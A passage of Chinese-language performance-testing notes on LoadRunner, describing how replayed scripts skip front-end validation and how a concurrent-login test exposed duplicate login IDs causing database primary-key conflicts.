结论：由于LoadRunner的工作原理是根据所选择的协议组装成相应的报文在前后台之间通讯，因此它会跳过在应用程序前台进行的校验，所以在脚本回放的时候一定要注意在脚本中提前进行这些校验或改由人工控制，以保证发送报文的正确性（如操作权限的控制等）。

 

4、测试多用户并发登录系统的时候，从虚拟用户图和事务图上发现，总有一部分用户在登录的时候要等待很长时间，用户登录的最小时间与最大时间相差非常大。于是我们在让脚本自动运行的同时，手工再登录一个用户，发现无论如何都不会发生等待的情况，多次试验的结果均是如此，也就是说LoadRunner测试的结果与实际结果再次发生了偏差！经过反复的调试，以及与程序开发人员沟通，我们终于发现问题的原因所在：在用户登录系统的时候，系统会自动记录登录用户的信息，并产生一个登录ID，以此ID做为主键，向数据库插入记录。因此当大量用户在极短的时间内同时登录时，就有可能出现生成相同的登录ID的情况，此时便会造成数据库中的主键冲突，导致用户等待很长时间或登录失败。